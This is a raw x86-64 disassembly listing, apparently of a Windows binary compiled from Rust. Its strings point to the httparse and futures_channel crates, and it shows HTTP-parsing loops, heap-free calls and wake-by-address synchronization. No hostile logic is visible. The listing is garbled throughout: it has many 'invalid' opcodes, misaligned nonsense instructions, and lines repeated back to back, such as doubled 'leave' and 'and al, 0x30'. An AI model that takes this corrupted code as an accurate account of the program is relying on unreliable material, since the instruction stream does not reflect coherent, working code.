mov qword [rcx + 8], r11
mov qword [rcx + 0x10], rbx
mov qword [rcx + 0x18], r8
movups xmmword [rcx + 0x20], xmm0
mov qword [rcx + 0x30], rdx
mov qword [rcx + 0x38], r10
movups xmmword [rcx + 0x40], xmm1
mov word [rcx + 0x50], r9w
mov eax, dword [rsp + 0x28]
mov dword [rcx + 0x52], eax
movzx eax, word [rsp + 0x2c]
mov word [rcx + 0x56], ax
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
adc eax, 0x110528
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x1400339c5
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014d458]
mov r8d, 1
add bh, bh
push rax
sbb bl, ch
invalid
add bh, bh
push rax
sbb bl, ch
add cl, byte [rcx + 0xfc084d0]
xchg ebp, eax
ror byte [rax - 0x7d], 0xc4
pop rdi
test al, al
setne al
add rsp, 0x48
pop rdi
pop rsi
ret
mov r8, qword [rcx + 0x18]
mov rcx, rax
jmp r8
mov ebp, 0xb36a0861
invalid
mov rdi, r8
mov r9, rax
movzx r8d, byte [rdi + r10]
lea rax, [r10 + 1]
mov qword [r14 + 0x10], rax
cmp r8d, 0xa
je 0x1400348eb
cmp r8d, 0xd
je 0x14003491b
cmp byte [r8 + r13], 0
je 0x140034110
mov qword [rsp + 0x58], r9
mov qword [rsp + 0x68], rbp
mov qword [rsp + 0x60], r11
mov qword [rsp + 0x48], rcx
mov r11, rbx
sub r11, r10
add r11, 0xfffffffffffffffe
add r10, rdi
add r10, 2
nop word [rax + rax]
cmp rbx, rax
jbe 0x1400348b9
mov rbp, rax
mov r9, r11
mov r15, r10
movzx r8d, byte [rdi + rax]
inc rax
mov qword [r14 + 0x10], rax
dec r11
inc r10
cmp byte [r8 + r13], 0
jne 0x1400340a0
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rdx
add qword [rsp + 0x58], rax
lea rsi, [rdi + rax]
sub rbx, rax
mov qword [r14 + 0x10], 0
mov qword [r14], rsi
mov qword [r14 + 8], rbx
cmp r8b, 0x3a
jne 0x140034160
test rbx, rbx
jne 0x1400341e4
jmp 0x1400348ca
cmp byte [rsp + 0x2f], 0
je 0x1400348db
nop dword [rax + rax]
test r8b, r8b
je 0x1400348db
movzx r8d, r8b
cmp r8d, 0xa
je 0x14003433e
cmp r8d, 0xd
je 0x14003431f
cmp rbx, rax
jbe 0x14003489f
movzx r8d, byte [rdi + rax]
inc rax
mov qword [r14 + 0x10], rax
test r8b, r8b
jne 0x140034129
jmp 0x1400348db
cmp byte [rsp + 0x57], 0
je 0x14003434c
add rax, rdi
xor edx, edx
cmp r8b, 0x20
je 0x140034184
movzx r10d, r8b
cmp r10d, 9
jne 0x14003434e
sub r9, 1
jb 0x1400348ca
movzx r8d, byte [rax + rdx]
inc rdx
mov qword [r14 + 0x10], rdx
cmp r8b, 0x3a
jne 0x140034170
add qword [rsp + 0x58], rdx
add rsi, rdx
sub rbx, rdx
mov qword [r14 + 0x10], 0
mov qword [r14], rsi
mov qword [r14 + 8], rbx
test rbx, rbx
jne 0x1400341e4
jmp 0x1400348ca
add qword [rsp + 0x58], r15
add rsi, r15
mov qword [r14 + 0x10], 0
mov qword [r14], rsi
sub rbx, r15
mov qword [r14 + 8], rbx
je 0x1400348ca
cmp byte [rsp + 0x47], 0
je 0x140034282
movzx r8d, byte [rsi]
xor eax, eax
nop word cs:[rax + rax]
lea r15, [rax + 1]
mov qword [r14 + 0x10], r15
cmp r8b, 0x20
je 0x1400341c4
movzx edx, r8b
cmp edx, 9
je 0x1400341c4
cmp byte [rdx + r12], 0
jne 0x14003444b
cmp r8b, 0xa
je 0x140034260
cmp edx, 0xd
jne 0x1400342c7
cmp rbx, r15
jbe 0x140034947
movzx ecx, byte [rsi + rax + 1]
add rax, 2
mov qword [r14 + 0x10], rax
cmp cl, 0xa
je 0x140034263
jmp 0x14003495c
mov rax, r15
cmp rax, rbx
jae 0x1400348ca
movzx r8d, byte [rsi + rax]
cmp r8d, 9
je 0x140034200
cmp r8d, 0x20
je 0x140034200
jmp 0x140034834
movzx r8d, byte [rsi]
mov qword [r14 + 0x10], 1
mov r15d, 1
cmp r8, 9
je 0x1400341c4
cmp r8d, 0x20
je 0x1400341c4
cmp byte [r8 + r12], 0
jne 0x14003444b
cmp r8d, 0xa
je 0x140034809
cmp r8d, 0xd
je 0x140034810
cmp byte [rsp + 0x2f], 0
mov rcx, qword [rsp + 0x48]
mov r11, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
je 0x140034984
test r8b, r8b
je 0x140034984
movzx eax, r8b
cmp eax, 0xa
je 0x1400343ff
cmp eax, 0xd
je 0x1400343e2
cmp rbx, r15
jbe 0x140034953
movzx r8d, byte [rsi + r15]
inc r15
mov qword [r14 + 0x10], r15
test r8b, r8b
jne 0x1400342ea
jmp 0x140034984
cmp rbx, rax
jbe 0x1400349ae
movzx r8d, byte [rdi + rax]
inc rax
mov qword [r14 + 0x10], rax
cmp r8b, 0xa
jne 0x1400349b8
add r9, rax
add rdi, rax
sub rbx, rax
jmp 0x14003441a
xor edx, edx
cmp byte [rsp + 0x2f], 0
mov rcx, qword [rsp + 0x48]
mov r11, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
je 0x14003496f
add r15, rdx
test r8b, r8b
je 0x14003496f
nop word cs:[rax + rax]
movzx eax, r8b
cmp eax, 0xa
je 0x1400343af
cmp eax, 0xd
je 0x1400343b6
cmp rbx, rdx
jbe 0x140034953
movzx r8d, byte [r15]
inc rdx
mov qword [r14 + 0x10], rdx
inc r15
test r8b, r8b
jne 0x140034380
jmp 0x14003496f
mov r9, qword [rsp + 0x58]
jmp 0x1400343d7
cmp rbx, rdx
mov r9, qword [rsp + 0x58]
jbe 0x1400349e3
movzx eax, byte [rsi + rdx]
inc rdx
mov qword [r14 + 0x10], rdx
cmp al, 0xa
jne 0x1400349ea
add r9, rdx
add rsi, rdx
sub rbx, rdx
jmp 0x14003440d
cmp rbx, r15
jbe 0x1400349f3
movzx eax, byte [rsi + r15]
inc r15
mov qword [r14 + 0x10], r15
cmp al, 0xa
jne 0x1400349fa
sub rbx, r15
add rsi, r15
mov r9, qword [rsp + 0x58]
add r9, r15
mov rdi, rsi
mov rdx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov qword [r14 + 0x10], 0
mov qword [r14], rdi
mov qword [r14 + 8], rbx
mov r10d, 0
test rbx, rbx
jne 0x140034049
jmp 0x14003489f
call fcn.140110bb0
jmp 0x140034474
call fcn.140110bb0
jmp 0x1400344a7
mov rax, qword [0x1401821a0]
test rax, rax
jne 0x1400344c3
mov rcx, qword [0x1401822d8]
test rcx, rcx
je 0x14003448e
mov rax, qword [0x1401822d8]
test cx, cx
js 0x1400344a2
test rax, rax
je 0x14003443d
and eax, 0x800
cmp rax, 1
mov ecx, 0
sbb rcx, rcx
or rcx, 1
shr eax, 0xb
jmp 0x1400344bc
call fcn.140110bb0
mov rcx, rax
mov rax, qword [0x1401822d8]
test cx, cx
jns 0x14003446f
test rax, rax
je 0x140034444
and eax, 0x800
cmp rax, 1
mov ecx, 3
sbb rcx, 0
mov rax, rcx
mov qword [0x1401821a0], rcx
cmp rax, 3
je 0x140034550
cmp rax, 2
je 0x140034520
cmp rax, 1
jne 0x1400345b0
nop dword [rax]
mov rax, rbx
sub rax, r15
jb 0x140034a20
cmp rax, 0x10
jb 0x1400345b0
lea rcx, [rsi + r15]
call fcn.140034a40
add r15, rax
mov qword [r14 + 0x10], r15
cmp rax, 0x10
je 0x1400344e0
jmp 0x1400345b0
mov rax, rbx
sub rax, r15
jb 0x140034a20
cmp rax, 0x20
jb 0x1400345b0
lea rcx, [rsi + r15]
call fcn.140034a90
add r15, rax
mov qword [r14 + 0x10], r15
cmp rax, 0x20
je 0x140034520
jmp 0x1400345b0
mov rax, rbx
sub rax, r15
jb 0x140034a20
cmp rax, 0x20
jb 0x140034580
lea rcx, [rsi + r15]
call fcn.140034a90
add r15, rax
mov qword [r14 + 0x10], r15
mov dword [rsi + 0x10], edi
mov dword [rsi + 0x10], edi
cmp rax, 0x20
je 0x140034550
jmp 0x1400345b0
mov rax, rbx
sub rax, r15
jb 0x140034a20
cmp rax, 0x10
jb 0x1400345b0
lea rcx, [rsi + r15]
call fcn.140034a40
add r15, rax
mov qword [r14 + 0x10], r15
cmp rax, 0x10
je 0x140034580
nop dword [rax + rax]
mov rcx, r15
sub rcx, 0xfffffffffffffff8
jae 0x140034670
cmp rcx, rbx
ja 0x140034670
invalid
add byte [rdx - 0x75], cl
add al, 0x3e
mov rax, qword [rsi + r15]
movzx edx, al
cmp byte [rdx + r12], 0
je 0x140034692
mov rdx, rax
shr rdx, 8
movzx r8d, dl
cmp byte [r8 + r12], 0
je 0x14003469a
mov rdx, rax
shr rdx, 0x10
movzx r8d, dl
cmp byte [r8 + r12], 0
je 0x1400346a0
mov rdx, rax
shr rdx, 0x18
movzx r8d, dl
cmp byte [r8 + r12], 0
cmp byte [rax + riz], 0
cmp byte [rax + riz], 0
je 0x1400346a6
mov rdx, rax
shr rdx, 0x20
movzx r8d, dl
cmp byte [r8 + r12], 0
je 0x1400346ac
mov rdx, rax
shr rdx, 0x28
movzx r8d, dl
cmp byte [r8 + r12], 0
je 0x1400346b2
mov rdx, rax
shr rdx, 0x30
movzx r8d, dl
cmp byte [r8 + r12], 0
je 0x1400346b8
shr rax, 0x38
cmp byte [rax + r12], 0
je 0x1400346c2
mov qword [r14 + 0x10], rcx
mov r15, rcx
jmp 0x1400345b0
cmp rbx, r15
jbe 0x1400348ca
movzx eax, byte [rsi + r15]
inc r15
mov qword [r14 + 0x10], r15
cmp byte [rax + r12], 0
jne 0x1400345b0
jmp 0x1400346c9
inc r15
mov rcx, r15
jmp 0x1400346c2
add r15, 2
jmp 0x1400346bc
add r15, 3
jmp 0x1400346bc
add r15, 4
jmp 0x1400346bc
add r15, 5
jmp 0x1400346bc
add r15, 6
jmp 0x1400346bc
add r15, 7
mov rcx, r15
mov rax, rdx
mov qword [r14 + 0x10], rcx
mov r15, rcx
mov rdx, 0xffffffffffffffff
cmp al, 0xa
je 0x140034700
movzx ecx, al
cmp ecx, 0xd
jne 0x14003472d
cmp rbx, r15
jbe 0x140034947
movzx eax, byte [rsi + r15]
inc r15
mov qword [r14 + 0x10], r15
mov rdx, 0xfffffffffffffffe
cmp al, 0xa
jne 0x14003495c
cmp byte [rsp + 0x47], 0
je 0x1400347a0
cmp rbx, r15
jbe 0x1400348ca
movzx eax, byte [rsi + r15]
cmp eax, 9
je 0x14003444b
invalid
invalid
invalid
cmp eax, 0x20
je 0x14003444b
jmp 0x1400347a0
cmp byte [rsp + 0x2f], 0
mov rcx, qword [rsp + 0x48]
mov r11, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
je 0x140034984
test al, al
je 0x140034984
movzx eax, al
cmp eax, 0xa
je 0x1400343ff
cmp eax, 0xd
je 0x14003477e
cmp rbx, r15
jbe 0x140034953
movzx eax, byte [rsi + r15]
inc r15
mov qword [r14 + 0x10], r15
test al, al
jne 0x14003474f
jmp 0x140034984
cmp rbx, r15
jbe 0x140034947
movzx eax, byte [rsi + r15]
inc r15
mov qword [r14 + 0x10], r15
cmp al, 0xa
je 0x1400343ff
jmp 0x140034a12
lea r8, [rsi + r15]
sub rbx, r15
mov qword [r14 + 0x10], 0
mov qword [r14], r8
mov qword [r14 + 8], rbx
mov rax, qword [rsp + 0x70]
cmp qword [rsp + 0x68], rax
je 0x1400349c6
add rdx, r15
je 0x1400347f3
mov rcx, rdx
movzx eax, byte [rsi + rcx - 1]
cmp rax, 0x20
ja 0x1400347f8
movabs r9, 0x100002600
bt r9, rax
jae 0x1400347f8
dec rcx
jne 0x1400347ce
mov rax, r15
jmp 0x14003485c
mov rax, r15
jmp 0x14003485a
cmp rcx, rdx
ja 0x140034a32
mov rax, r15
mov rdx, rcx
jmp 0x14003485c
mov eax, 1
jmp 0x140034834
cmp rbx, 2
jb 0x140034947
movzx ecx, byte [rsi + 1]
mov qword [r14 + 0x10], 2
mov eax, 2
cmp cl, 0xa
jne 0x14003495c
lea r8, [rsi + rax]
sub rbx, rax
mov qword [r14 + 0x10], 0
mov qword [r14], r8
mov qword [r14 + 8], rbx
mov rcx, qword [rsp + 0x70]
cmp qword [rsp + 0x68], rcx
je 0x1400349c6
xor edx, edx
add rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x68]
mov qword [rcx], rdi
mov qword [rcx + 8], rbp
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], rdx
lea rbp, [rcx + 0x20]
mov rsi, qword [rsp + 0x38]
inc rsi
mov r10d, 0
test rbx, rbx
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x48]
mov r11, qword [rsp + 0x60]
jne 0x140034043
mov qword [rcx], 1
jmp 0x140034999
mov rax, qword [rsp + 0x48]
mov qword [rax], 1
jmp 0x140034999
mov rax, qword [rsp + 0x48]
mov qword [rax], 1
jmp 0x14003498f
mov byte [rcx + 8], 0
mov qword [rcx], 2
jmp 0x140034999
add rax, r9
mov r9, rax
shr r9, 8
xor r8d, r8d
mov r10d, eax
mov qword [rcx], r8
mov byte [rcx + 8], r10b
mov dword [rcx + 9], r9d
mov rax, r9
shr rax, 0x30
mov byte [rcx + 0xf], al
shr r9, 0x20
mov word [rcx + 0xd], r9w
jmp 0x140034999
mov r8d, 1
cmp rbx, rax
jbe 0x14003497f
movzx eax, byte [rdi + r10 + 1]
add r10, 2
mov qword [r14 + 0x10], r10
cmp al, 0xa
jne 0x140034975
add r10, r9
mov r9, r10
shr r9, 8
xor r8d, r8d
jmp 0x1400348fb
mov eax, 1
mov rcx, qword [rsp + 0x48]
jmp 0x14003496a
mov qword [rcx], 1
jmp 0x14003498f
mov rcx, qword [rsp + 0x48]
mov byte [rcx + 8], 1
mov eax, 2
mov qword [rcx], rax
jmp 0x14003498f
mov byte [rcx + 8], 0
jmp 0x140034988
mov byte [rcx + 8], 2
mov r8d, 2
mov qword [rcx], r8
jmp 0x140034999
mov byte [rcx + 8], 1
mov qword [rcx], 2
mov rdx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov qword [rdx + 8], rsi
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov eax, 1
mov qword [rcx], rax
jmp 0x140034999
invalid
loope 0x14003497f
mov byte [rcx + 8], 0
or byte [r8], al
mov eax, 2
mov qword [rcx], rax
jmp 0x140034999
mov r8d, 2
mov r10b, 5
mov rsi, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x48]
jmp 0x1400348fb
mov eax, 1
jmp 0x14003496a
mov byte [rcx + 8], 0
jmp 0x140034965
mov eax, 1
jmp 0x140034a03
mov byte [rcx + 8], 1
mov eax, 2
mov rdx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov qword [rcx], rax
jmp 0x140034999
mov byte [rcx + 8], 1
mov eax, 2
jmp 0x14003494c
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttparse_1.8.0_srciter.rs
mov rcx, r15
mov rdx, rbx
call fcn.1401082c0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttparse_1.8.0_srclib.rs
call fcn.140108340
int3
movdqa xmm2, xmmword [0x140112820]
pcmpeqb xmm2, xmm0
pcmpgtb xmm0, xmmword [0x140112830]
por xmm2, xmm1
pandn xmm0, xmm2
pmovmskb ecx, xmm0
not ecx
call fcn.140034af0
mov eax, eax
add rsp, 0x28
ret
vpcmpeqb ymm2, ymm0, ymmword [0x140112860]
vpor ymm1, ymm1, ymm2
vpcmpgtb ymm0, ymm0, ymmword [0x140112880]
vpandn ymm0, ymm0, ymm1
vpmovmskb eax, ymm0
not eax
movabs rcx, 0xffffffff00000000
or rcx, rax
vzeroupper
jmp 0x140034ae0
tzcnt rax, rcx
ret
test bl, bl
movzx r9d, r9b
cmovs r9d, esi
cmp r8, r11
je 0x140034b75
mov r10, r11
movzx ebx, byte [rax + r11]
inc r11
mov r14d, ebx
add r14d, 0xfffffff7
cmp r14d, 0x17
ja 0x140034b61
movsxd r14, dword [rdi + r14*4]
add r14, rdi
jmp r14
test bl, bl
js 0x140034b30
lea r10d, [rbx - 0x21]
cmp r10b, 0x5e
fild word [rcx - 0x80]
cli
pop rsi
jb 0x140034b30
mov qword [rdx + 0x10], r11
jmp 0x140034bdb
mov qword [rdx + 0x10], r8
mov qword [rcx + 8], 0
xor edx, edx
mov byte [rcx], dl
pop rbx
pop rdi
pop rsi
pop r14
ret
mov byte [rcx + 1], 3
mov dl, 1
jmp 0x140034b83
cmp r14, 1
jne 0x140035220
mov rax, qword [rsp + 0x50]
test rax, rax
je 0x1400352b2
mov rcx, qword [rsp + 0x58]
movdqu xmm0, xmmword [rsp + 0x60]
mov rdx, qword [rdi + 8]
cmp rdx, 0xfffffffffffffffd
ja 0x140035207
movq r8, xmm0
sub rdx, r8
mov qword [rdi + 8], rdx
mov qword [rsi], 1
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rcx
movdqu xmmword [rsi + 0x18], xmm0
jmp 0x1400354a0
mov qword [rsi], 2
jmp 0x1400354a0
mov rax, qword [rsp + 0x58]
mov qword [rsi], 1
mov qword [rsi + 8], 0
mov qword [rsi + 0x10], rax
adc cl, r13b
rol dword [rcx], 1
add byte [rax], al
adc cl, r13b
rol dword [rcx], 1
add byte [rax], al
mov rcx, qword [r15 + 8]
call qword [rax]
mov r14, rax
mov r15, rdx
mov rax, qword [r12 + 0x48]
test rax, rax
je 0x1400352ed
mov rcx, qword [r12 + 0x50]
call qword [rax + 0x18]
mov qword [r12 + 0x48], r14
mov qword [r12 + 0x50], r15
xor ecx, ecx
mov eax, 1
lock cmpxchg qword [r12 + 0x58], rcx
je 0x140035330
mov rax, qword [r12 + 0x48]
mov rcx, qword [r12 + 0x50]
mov qword [r12 + 0x48], 0
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x48], 0
test rax, rax
je 0x1400354ce
xor edx, edx
xchg qword [r12 + 0x58], rdx
add rax, 8
call qword [rax]
lea rcx, [rsp + 0x48]
and al, 0x48
mov rdx, rbx
call case.0x140019144.1440
mov r14, qword [rsp + 0x48]
test r14, r14
jne 0x1400351d2
mov qword [rsi], 0
jmp 0x1400354a0
adc al, 0
mov edx, 0x38
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400354bf
add byte [rax], al
add byte [rax], al
mov rdi, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 8
movzx eax, byte [0x140182310]
mov edx, 0x28
xor ecx, ecx
leave
leave
call fcn.1400dfbe0
test rax, rax
je 0x1400354da
mov rcx, qword [rsp + 0x40]
mov qword [rax + 0x20], rcx
movdqu xmm0, xmmword [rsp + 0x20]
movups xmm1, xmmword [rsp + 0x30]
and al, 0x30
and al, 0x30
movups xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov qword [rdi], rax
lea rax, [0x14012a4e0]
mov qword [rdi + 8], rax
mov qword [rsi], 1
mov qword [rsi + 8], 0
mov qword [rsi + 0x10], rdi
jmp 0x1400354a0
movq qword [rsi + 8], mm0
mov qword [rsi], 1
mov qword [rsi + 0x18], rbx
mov qword [rsi + 0x20], r12
add rsp, 0xb0
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, 8
mov edx, 0x38
call fcn.140107fe0
lea rcx, [0x140115290]
lea ecx, [0x140115290]
call fcn.140108690
mov ecx, 8
mov edx, 0x28
call fcn.140107fe0
int3
test dword [rcx], ecx
add al, byte [rax]
add byte [rax - 0x7d], cl
cmp byte [rax], al
je 0x140035778
movups xmm0, xmmword [rax + 8]
movups xmm1, xmmword [rax + 0x18]
sbb byte [rdi], cl
sub dword [rsp + 0x50], ecx
sbb byte [rdi], cl
sub dword [rsp + 0x50], ecx
movaps xmmword [rsp + 0x40], xmm0
mov qword [rax], 0
cmp qword [rbx], 0
je 0x1400355e3
mov rax, qword [rbx + 8]
test rax, rax
je 0x1400355da
push rcx
push rcx
lea rcx, [rbx + 0x20]
mov rdx, qword [rbx + 0x10]
mov r8, qword [rbx + 0x18]
call qword [rax + 0x10]
jmp 0x1400355e3
add al, byte [rax]
add byte [rax], al
test rcx, rcx
jne 0x1400356b4
mov rax, qword [rdi]
test rax, rax
je 0x1400355cc
lock dec qword [rax]
jne 0x1400355cc
mov rcx, rdi
call fcn.1400357a0
add byte [rax], al
add byte [rax], al
mov qword [rdi], 0
xor eax, eax
jmp 0x1400356b4
lea rcx, [rbx + 0x10]
call fcn.140035fe0
mov rcx, qword [0x140182260]
xor edx, edx
ror byte [rcx - 0x77], cl
fdivr st(7)
adc eax, 0xdcd6b
ror byte [rcx - 0x77], cl
fdivr st(7)
adc eax, 0xdcd6b
mov r14, qword [rdi]
test r14, r14
je 0x14003569d
lea rcx, [r14 + 0x20]
call fcn.140001f40
test rax, rax
ror byte [rdi], 0x84
test dword [rax], eax
add byte [rax], al
ror byte [rdi], 0x84
test dword [rax], eax
add byte [rax], al
mov rbx, rax
mov r14, rax
add r14, 0x10
mov cl, 1
xor eax, eax
lock cmpxchg byte [rbx + 0x10], cl
jne 0x1400356e5
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140035700
xor ebp, ebp
movzx eax, byte [rbx + 0x11]
test al, al
jne 0x140035717
mov byte [rbx + 0x28], 0
mov rax, qword [rbx + 0x18]
mov rcx, qword [rbx + 0x20]
mov qword [rbx + 0x18], 0
test rax, rax
je 0x140035669
call qword [rax + 8]
test bpl, bpl
jne 0x140035681
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14003574a
xor eax, eax
xchg byte [r14], al
cmp al, 2
je 0x1400356c4
lock dec qword [rbx]
je 0x1400356d3
mov r14, qword [rdi]
test r14, r14
je 0x14003569d
lock dec qword [r14 + 0x38]
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movups xmmword [rsi + 0x18], xmm1
movups xmmword [rsi + 8], xmm0
mov eax, 1
mov qword [rsi], rax
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
mov rcx, r14
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
add al, dh
dec qword [rbx]
add al, dh
dec qword [rbx]
jne 0x140035690
mov rcx, rbx
call fcn.140037080
mov r14, qword [rdi]
test r14, r14
jne 0x140035698
jmp 0x14003569d
mov rcx, r14
call fcn.1401101b0
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x14003563f
call fcn.140110270
mov ebp, eax
xor bpl, 1
movzx eax, byte [rbx + 0x11]
test al, al
ror byte [rdi], 0x84
invalid
invalid
invalid
invalid
ror byte [rdi], 0x84
invalid
mov qword [rsp + 0x30], r14
mov byte [rsp + 0x38], bpl
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscmod.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14012a7c8]
lea r8, [rsp + 0x30]
mov edx, 0x2b
call fcn.140108600
call fcn.140110270
test al, al
jne 0x140035681
mov byte [rbx + 0x11], 1
jmp 0x140035681
add ecx, ebp
and edi, edi
invalid
lea rcx, str.assertion_failed:__next_.value.is_some__
lea r8, [0x14013d4f8]
jge 0x14003578e
add byte [rbp + rcx*4 + 5], cl
jb 0x140035801
adc byte [rax], al
mov edx, 0x29
call fcn.140108350
int3
or eax, 0xcccccc00
int3
sbb byte [rbp - 0x7b], cl
div byte [rdx + rbx*2 + 0x4c]
mov edi, dword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400357ed
invalid
lea rcx, [rdi + 0x10]
call fcn.140035fe0
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call r15
test r14, r14
invalid
je 0x140035814
div byte [rdi + riz + 0x4c]
mov edi, esi
mov rdi, r14
mov r14, qword [r14 + 0x28]
cmp qword [rdi], 0
je 0x1400357d9
mov rax, qword [rdi + 8]
test rax, rax
je 0x1400357d0
lea rcx, [rdi + 0x20]
mov rdx, qword [rdi + 0x10]
mov r8, qword [rdi + 0x18]
call qword [rax + 0x10]
jmp 0x1400357d9
mov rdi, qword [rbx + 0x28]
test rdi, rdi
je 0x140035867
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140035841
mov rcx, qword [0x140182260]
xor edx, edx
call r14
test rdi, rdi
je 0x140035867
mov r8, rdi
mov rdi, qword [rdi]
mov rax, qword [r8 + 8]
test rax, rax
je 0x140035830
lock dec qword [rax]
jne 0x140035830
mov rcx, qword [r8 + 8]
mov r15, r8
call fcn.140037080
mov r8, r15
jmp 0x140035830
mov rax, qword [rbx + 0x48]
test rax, rax
je 0x140035877
mov rcx, qword [rbx + 0x50]
call qword [rax + 0x18]
mov r8, qword [rsi]
cmp r8, 0xffffffffffffffff
je 0x1400358a2
lock dec qword [r8 + 8]
jne 0x1400358a2
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
test dword [rbx + 0x48000000], edi
mov eax, dword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400359b0
xor ebp, ebp
movzx eax, byte [rdi + 0x11]
test al, al
jne 0x1400359c7
test esp, ecx
add byte [rax], al
invalid
test esp, ecx
add byte [rax], al
add byte [rcx - 0x35ffaf81], al
invalid
cmp dword [rdi + 0x50], 0x3b9aca00
je 0x140035910
call fcn.1400dfa40
mov qword [rdi + 0x48], rax
mov dword [rdi + 0x50], edx
cmp dword [rdi + 0x40], 0x3b9aca00
je 0x14003593d
call fcn.1400dfa40
xor ecx, ecx
cmp edx, dword [rdi + 0x40]
setb cl
xor edx, edx
cmp rax, qword [rdi + 0x38]
setb dl
cmove edx, ecx
test dl, dl
jne 0x140035959
mov dword [rdi + 0x40], 0x3b9aca00
add dl, cl
invalid
lea rcx, [rdi + 0x18]
cmp qword [rcx], 0
je 0x140035959
add qword [rdi + 0x20], rbx
cmp dword [rdi + 0x30], 0x3b9aca00
jne 0x140035959
call fcn.140035f10
test bpl, bpl
jne 0x140035971
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400359fa
xor eax, eax
xchg byte [rsi], al
cmp al, 2
jne 0x14003598b
mov rcx, rsi
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
jmp qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
nop
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
ret
test al, 0xd
add byte [rax - 0x75], cl
add eax, 0x14c964
shl rax, 1
test rax, rax
je 0x1400358ed
invalid
invalid
call fcn.140110270
mov ebp, eax
xor bpl, 1
movzx eax, byte [rdi + 0x11]
test al, al
je 0x1400358fb
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x30], bpl
xor byte [rax - 0x73], cl
add eax, 0xf5ef8
xor byte [rax - 0x73], cl
add eax, 0xf5ef8
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14012a808]
lea r8, [rsp + 0x28]
mov edx, 0x2b
sub eax, dword [rax]
add byte [rax], al
sub eax, dword [rax]
add byte [rax], al
call fcn.140108600
call fcn.140110270
test al, al
jne 0x140035971
mov byte [rdi + 0x11], 1
jmp 0x140035971
push rbx
sub rsp, 0x20
movzx eax, byte [rcx]
lea edx, [rax - 2]
cmp edx, 2
jb 0x140035aae
test eax, eax
je 0x140035aae
cmp eax, 1
jne 0x140035a51
mov rax, qword [rcx + 8]
mov rdx, qword [rcx + 0x10]
mov rax, qword [rax + 0x10]
mov r8, qword [rcx + 0x18]
add rcx, 0x20
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp rax
mov rax, qword [rcx + 8]
mov ecx, eax
and ecx, 3
or byte [rcx + 0x3e183c1], cl
cmp ecx, 1
jne 0x140035aae
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
mov rbx, qword [rax + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x140035a94
cmp qword [rbx + 0x10], 0x11
jb 0x140035a82
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
add byte [rax], al
call fcn.140014730
cmp byte [rsp + 0x31], 0
movzx ecx, byte [rsp + 0x30]
je 0x140035b33
mov al, 1
test cl, cl
je 0x140035b3e
add rsp, 0x40
pop rsi
ret
test cl, cl
setne al
add rsp, 0x40
pop rsi
ret
mov rax, qword [rsp + 0x28]
test byte [rax + 0x34], 4
jne 0x140035b60
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140144289]
mov r8d, 2
jmp 0x140035b75
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
